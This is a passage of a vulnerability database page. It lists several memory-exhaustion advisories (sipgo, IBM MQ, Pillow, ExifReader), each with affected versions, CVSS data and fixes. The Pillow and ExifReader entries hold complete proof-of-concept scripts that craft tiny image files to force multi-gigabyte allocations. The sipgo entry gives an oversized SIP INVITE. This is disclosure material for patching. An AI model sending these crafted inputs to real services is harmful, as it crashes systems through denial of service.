        "last_known_affected_version_range": "\u003c= 1.4.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/emiago/sipgo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58268"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T19:57:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe stream parser allocates the SIP body buffer from the `Content-Length` header before validating its size, which can lead to an unauthenticated DoS.\n\n### Details\n\n`ParserStream.parseSingle` allocates the body buffer from the declared `Content-Length` with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):\n\n```go\nbody := make([]byte, contentLength)   // contentLength is client-controlled, up to 2^32-1 (uint32)\n```\n\nThe `ParseMaxMessageLength` (65535) check is in the caller `ParseNext` (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after `parseSingle` has already allocated the buffer.\n\n### PoC\n\nTested on emiago/sipgo v1.4.0 (latest).\n\nSend a single message with a large `Content-Length` and no body to a SIP server:\n\n```\nINVITE sip:victim@example.com SIP/2.0\nVia: SIP/2.0/TCP attacker.example;branch=z9hG4bK1\nFrom: \u003csip:attacker@attacker.example\u003e;tag=1\nTo: \u003csip:victim@example.com\u003e\nCall-ID: 1@attacker.example\nCSeq: 1 INVITE\nContent-Length: 4000000000                     // \u003c- a large Content-Length\n\n```\n\n### Suggested Fix\n\nValidate `contentLength` against `ParseMaxMessageLength` before the allocation.\n\n### Impact\n\nUnauthenticated DoS. Any service using `sipgo` with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.",
  "id": "GHSA-pg59-5vwg-4jxq",
  "modified": "2026-09-22T19:57:52Z",
  "published": "2026-09-22T19:57:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emiago/sipgo/security/advisories/GHSA-pg59-5vwg-4jxq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/emiago/sipgo/commit/a7be60a07f48c06b3cdd5a7d35eb820b3df5736c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emiago/sipgo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/emiago/sipgo/releases/tag/v1.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SIPGO: DoS via unvalidated Content-Length in the stream parser"
}

GHSA-PH5P-WVQC-XXJ8

Vulnerability from github – Published: 2024-06-29 06:31 – Updated: 2024-06-29 06:31
VLAI
Details

IBM MQ 9.0 LTS, 9.1 LTS, 9.2 LTS, 9.3 LTS, and 9.3 CD is vulnerable to a denial of service attack caused by an error applying configuration changes. IBM X-Force ID: 290335.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-35116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-28T19:15:05Z",
    "severity": "MODERATE"
  },
  "details": "IBM MQ 9.0 LTS, 9.1 LTS, 9.2 LTS, 9.3 LTS, and 9.3 CD is vulnerable to a denial of service attack caused by an error applying configuration changes.  IBM X-Force ID:  290335.",
  "id": "GHSA-ph5p-wvqc-xxj8",
  "modified": "2024-06-29T06:31:39Z",
  "published": "2024-06-29T06:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35116"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/290335"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7157387"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7158071"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PHJ9-MV4W-65PM

Vulnerability from github – Published: 2026-07-20 21:13 – Updated: 2026-07-20 21:13
VLAI
Summary
Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
Details

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:13:35Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow\u0027s decompression bomb guard. The plugin exposes its own entry point \u2014 `PIL.GdImageFile.open(fp)` \u2014 which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50\u201361):**\n\n```python\ndef _open(self) -\u003e None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # \u2190 unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here \u2190\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() \u2192 load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\n# \u2191 C-level allocation of 4,294,836,225 bytes \u2248 4.3 GB \u2014 no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 \u00d7 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 \u00d7 MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24\u00d7 above DecompressionBombError threshold** |\n| Memory at max dimensions | **\u2248 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only \u2014 no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category \u2014 not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 \u2014 CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # \u2190 present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file \u2192 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\"\u003eH\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\"\u003eH\", 65535)         # max width\nh            = struct.pack(\"\u003eH\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = struct.pack(\"\u003eI\", 0xFFFFFFFF)    # \u003e 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}\u00d7 error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0\u00d7 error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation \u2192 `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds \u2014 no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH \u2014 a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable \u2014 attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No \u2014 any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "id": "GHSA-phj9-mv4w-65pm",
  "modified": "2026-07-20T21:13:35Z",
  "published": "2026-07-20T21:13:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`"
}

GHSA-PJ96-35FP-CFCC

Vulnerability from github – Published: 2026-09-17 16:30 – Updated: 2026-09-17 16:30
VLAI
Summary
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Details

Summary

ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.

Affected version tested

  • npm package: exifreader
  • Version: 4.41.0
  • Affected formats: HEIC, AVIF (ISO-BMFF container)

Root cause

File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().

The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):

Field Controls
offsetSize Bytes per extent offset
lengthSize Bytes per extent length
baseOffsetSize Bytes per item base offset
indexSize Bytes per extent index

The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:

for (let j = 0; j < item.extentCount; j++) {
    const extent = {};
    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0
    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0
    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0
    item.extents.push(extent);                      // allocates unconditionally
}

When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.

Reproduction

Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:

const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');

function u32be(n) {
    return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
    return [(n >>> 8) & 255, n & 255];
}
function str(s) {
    return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
    return [...u32be(8 + content.length), ...str(type), ...content];
}

const ITEMS = 10000;
const EXTENTS = 65535;

const ftyp = box('ftyp', [
    ...str('heic'),
    ...u32be(0),
    ...str('mif1'),
    0, 0, 0, 0,
]);

const ilocPayload = [
    0, 0, 0, 0,
    0, 0,
    ...u16be(ITEMS),
];

for (let i = 0; i < ITEMS; i++) {
    ilocPayload.push(...u16be(i + 1));
    ilocPayload.push(...u16be(0));
    ilocPayload.push(...u16be(EXTENTS));
}

const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);

fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);

console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);

const start = Date.now();
const timeout = setTimeout(() => {
    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
    process.exit(1);
}, 30000);

try {
    ExifReader.load(data.buffer);
    clearTimeout(timeout);
    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
    clearTimeout(timeout);
    console.log(`Error: ${e.message}`);
}

Scaled test results

Run the above with different ITEMS values:

Items File size Extent objects Parse time Heap growth
1 58 bytes 65,535 0.03s +4 MB
5 82 bytes 327,675 0.17s +16 MB
100 652 bytes 6,553,500 1.74s +401 MB
256 1,588 bytes 16,776,960 ~8s OOM crash
10000 60,052 bytes 655,350,000 - OOM crash (4 GB+)
image

Expected behavior

A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).

Security impact

This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.

Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.

Suggested fix

In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:

const MAX_EXTENTS_PER_ITEM = 10000;

for (let j = 0; j < item.extentCount; j++) {
    if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
        break;
    }
    // ... existing code ...
}

Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:

if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
    // Fields are absent per spec; nothing meaningful to read
    // Still advance offset if extentCount > 0 to maintain correctness
    continue;
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.41.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "exifreader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.41.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T16:30:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount \u00d7 extentCount` (65535 \u00d7 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79\u2013116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0\u201315):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    const extent = {};\n    extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n    offset += sizes.item.extent.extentIndex;       // 0 when indexSize=0\n    extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n    offset += sizes.item.extent.extentOffset;       // 0 when offsetSize=0\n    extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n    offset += sizes.item.extent.extentLength;       // 0 when lengthSize=0\n    item.extents.push(extent);                      // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require(\u0027fs\u0027);\nconst ExifReader = require(\u0027../ExifReader-4.41.0/dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n    return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction u16be(n) {\n    return [(n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction str(s) {\n    return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content) {\n    return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box(\u0027ftyp\u0027, [\n    ...str(\u0027heic\u0027),\n    ...u32be(0),\n    ...str(\u0027mif1\u0027),\n    0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n    0, 0, 0, 0,\n    0, 0,\n    ...u16be(ITEMS),\n];\n\nfor (let i = 0; i \u003c ITEMS; i++) {\n    ilocPayload.push(...u16be(i + 1));\n    ilocPayload.push(...u16be(0));\n    ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box(\u0027iloc\u0027, ilocPayload);\nconst meta = box(\u0027meta\u0027, [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync(\u0027/tmp/poc_iloc_dos.heic\u0027, data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() =\u003e {\n    console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n    process.exit(1);\n}, 30000);\n\ntry {\n    ExifReader.load(data.buffer);\n    clearTimeout(timeout);\n    console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n    clearTimeout(timeout);\n    console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n\u003cimg width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" /\u003e\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader\u0027s existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j \u003c item.extentCount; j++) {\n    if (item.extents.length \u003e= MAX_EXTENTS_PER_ITEM) {\n        break;\n    }\n    // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 \u0026\u0026 sizes.item.extent.extentLength === 0) {\n    // Fields are absent per spec; nothing meaningful to read\n    // Still advance offset if extentCount \u003e 0 to maintain correctness\n    continue;\n}\n```",
  "id": "GHSA-pj96-35fp-cfcc",
  "modified": "2026-09-17T16:30:00Z",
  "published": "2026-09-17T16:30:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattiasw/ExifReader"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion"
}

Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.